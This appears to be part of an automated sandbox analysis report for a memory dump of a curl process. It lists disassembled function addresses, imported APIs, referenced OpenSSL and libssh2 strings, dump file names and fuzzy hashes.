Opcode Fuzzy Hash: c029a62f4928be3f9232752e4ff708be3b457f22b575647b5829e6965b7b3c9a
Instruction Fuzzy Hash: E741EF317086014BD724DF28D9417AAB7E4EBC1324F14862EF9A9CB3D1DB79E909C792

Function 0097CC00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0097CC86

Strings

..\..\openssl\openssl\ssl\ssl_ciph.c, xrefs: 0097CC61
..\..\openssl\openssl\ssl\ssl_ciph.c, xrefs: 0097CC3E

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID: ..\..\openssl\openssl\ssl\ssl_ciph.c$..\..\openssl\openssl\ssl\ssl_ciph.c
API String ID: 2102423945-982017979
Opcode ID: 8fcea78554f20a2ca386b86087ad896dd8bd16964272e6630fb06478f6d59fb8
Instruction ID: 03eb2e1b866fa31d49104eeb12030174406a1c39f00a85933c492025edced129
Opcode Fuzzy Hash: 8fcea78554f20a2ca386b86087ad896dd8bd16964272e6630fb06478f6d59fb8
Instruction Fuzzy Hash: 7751BDB66007018FC725DF08D880B1AB7A5FB88710F59886DEE4C8B392D775ED46CBA1

Function 0093E2D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 0093E2E9
__aulldiv.LIBCMT ref: 0093E2FA

Strings

Connection time-out, xrefs: 0093E448

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64Tick__aulldiv
String ID: Connection time-out
API String ID: 1362846788-165637984
Opcode ID: 7daeb8f6a0b920f31c3f7b029aeab7a5d7f245d753e9ddc09fd54a87a9f7afa8
Instruction ID: 04db0f54abfb4f16a496b184f5ef08c1c5e1f574df58aaff15661f6a3c2536fb
Opcode Fuzzy Hash: 7daeb8f6a0b920f31c3f7b029aeab7a5d7f245d753e9ddc09fd54a87a9f7afa8
Instruction Fuzzy Hash: E541CF317007018BC718CF28D88567AB7E9EBC9325F18467DE95A8B7D2DB71E8058B81

Function 00A16080 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 00A1609D

Part of subcall function 00A2515B: GetModuleHandleExW.KERNEL32(00000006,00000001,?,?,?,?,?,?,?,?,?,?), ref: 00A25220
Part of subcall function 00A2515B: GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,?,?,?,?,?,?), ref: 00A2524C

Strings

..\..\libssh2\src\channel.c, xrefs: 00A16093
session, xrefs: 00A16098

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Module$FileHandleName__wassert
String ID: ..\..\libssh2\src\channel.c$session
API String ID: 1832359313-664392570
Opcode ID: 709c94b43e039c37da39e9b5bae9aa4eabbc6fd5412f039f36eca320a021f959
Instruction ID: b20956cd4d5805e53167179a1294dce54f2f311887646bdb68a0847e43312d7e
Opcode Fuzzy Hash: 709c94b43e039c37da39e9b5bae9aa4eabbc6fd5412f039f36eca320a021f959
Instruction Fuzzy Hash: 8F418C70701612BFD710DB29DC40BEBBBE8AF45320F04862DE869C7242E735E994C7A2

Function 00A18560 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A1862E
_memmove.LIBCMT ref: 00A18678

Strings

ssh-rsa, xrefs: 00A185F1

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ssh-rsa
API String ID: 4104443479-1603462669
Opcode ID: 38d9355c33394541745ce1cc69c073463276cfd7e0045b1e5f3c45416e3cfab2
Instruction ID: c95fa620f4d857acaaaf1798aea239cfa4ff56a8c28ee9d6abf051f934dc9080
Opcode Fuzzy Hash: 38d9355c33394541745ce1cc69c073463276cfd7e0045b1e5f3c45416e3cfab2
Instruction Fuzzy Hash: 9341E57660434A9FC710CF1DDC40A9AFBA1EF95214F48866DEC9887342D735EE1AC7A1

Function 009B4380 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009B4442

Strings

..\..\openssl\openssl\crypto\asn1\a_bitstr.c, xrefs: 009B43E7
..\..\openssl\openssl\crypto\asn1\a_bitstr.c, xrefs: 009B4408

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\crypto\asn1\a_bitstr.c$..\..\openssl\openssl\crypto\asn1\a_bitstr.c
API String ID: 4104443479-1792432391
Opcode ID: 76680047e31aa8631ae833cc7701f725a2161538caedd040a7974a3f32b1b438
Instruction ID: 2557ad8252b8553ed8b4e2cd4216316ce0cf5dd52e68be059e3dbd91f5a76b22
Opcode Fuzzy Hash: 76680047e31aa8631ae833cc7701f725a2161538caedd040a7974a3f32b1b438
Instruction Fuzzy Hash: 85312371A007015BC710DF69DD8179BB7E9EF81B20F04843DEC558B382EB79D9199B91

Function 0097E8C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0097E98A

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0097E9F3
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 0097E9FD

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 2102423945-165147023
Opcode ID: 6f8b7440725f8e71dbfda3c326703cc0abfc31413c63b0a871d99ce1a07b4afb
Instruction ID: 1a7808b56f65c2d2f9985674e25ed995ea6a7797d449ef64649e4fc1977de93c
Opcode Fuzzy Hash: 6f8b7440725f8e71dbfda3c326703cc0abfc31413c63b0a871d99ce1a07b4afb
Instruction Fuzzy Hash: 59311472A083115BC314DF289C45A6FBBE5EFC9310F044A6DF99A97281EB75DA08C7D2

Function 009C4CE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009C4E30

Strings

..\..\openssl\openssl\crypto\asn1\evp_asn1.c, xrefs: 009C4D46
m, xrefs: 009C4D23

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\crypto\asn1\evp_asn1.c$m
API String ID: 4104443479-4002268413
Opcode ID: 61ff7af0b6da9b975f32ec7bb4a9fae80cef17954e931cc572cfcf2e839ba59b
Instruction ID: 6ae3ffecd918986e069431fc347f9ca39a9aeea6030e547611ae31d78fbaf10e
Opcode Fuzzy Hash: 61ff7af0b6da9b975f32ec7bb4a9fae80cef17954e931cc572cfcf2e839ba59b
Instruction Fuzzy Hash: C2418F71A093019FD314EF58D891B6BBBE4AFC4710F44492DF89687395EB71E8098B93

Function 009D22D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

__wgetenv.LIBCMT ref: 009D236A

Strings

ENV, xrefs: 009D2335

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __wgetenv
String ID: ENV
API String ID: 1112669753-1709310067
Opcode ID: 2c718d89b975e33d065cbe3b3ddd581b3d71410d846704c2d835282df7d2dfd9
Instruction ID: e8283c2bc62f95618b237af640b46f3aeb4273a33a87f939f8961378fdfc97aa
Opcode Fuzzy Hash: 2c718d89b975e33d065cbe3b3ddd581b3d71410d846704c2d835282df7d2dfd9
Instruction Fuzzy Hash: 5C31D3726443458BD710DF18E8407ABF3E8FBA5B55F44887AEC4587301F729E90C8BA2

Function 00934070 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009340E9
_memmove.LIBCMT ref: 00934179

Strings

8, xrefs: 00934077

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: 8
API String ID: 4104443479-4194326291
Opcode ID: 3d845b97ced68d024875bf01210fa74b13e0b78e4cd82eb5a2ffeee6ca41d0e9
Instruction ID: 13c8859948698610a8eef065f8e7f3049fd7b6d55e9c8d745fb45f2162710ed9
Opcode Fuzzy Hash: 3d845b97ced68d024875bf01210fa74b13e0b78e4cd82eb5a2ffeee6ca41d0e9
Instruction Fuzzy Hash: BD3190753047009FD754CA2DD884BABB7E9EFD8714F15887DE999C3210EA35E8448B52

Function 00964630 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 00946210: GetTickCount64.KERNEL32 ref: 0094626D
Part of subcall function 00946210: __aulldiv.LIBCMT ref: 0094627E

GetTickCount64.KERNEL32 ref: 00964677
__aulldiv.LIBCMT ref: 00964687

Part of subcall function 0093F690: WSASetLastError.WS2_32(00002726,00000000), ref: 0093F6E9

Strings

Operation timed out, xrefs: 00964722

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64Tick__aulldiv$ErrorLast
String ID: Operation timed out
API String ID: 3732789123-247162352
Opcode ID: 67fe3756529a69bb4ee7a69c7aebca0dc1522ff0bf6898b6379543953a896342
Instruction ID: 55cb3675832f7d9236af8cf74f06684e4206f0c87fdff864c159231449589f41
Opcode Fuzzy Hash: 67fe3756529a69bb4ee7a69c7aebca0dc1522ff0bf6898b6379543953a896342
Instruction Fuzzy Hash: 7C21F57270070857D724A968EC82B6AB3CEDBC2366F04023EF959872C2EEA69C054291

Function 00A123B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A12477

Strings

Shutdown, xrefs: 00A123C9, 00A123DD, 00A12470, 00A12471
Disconnecting: reason=%d, desc=%s, lang=%s, xrefs: 00A123D0

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

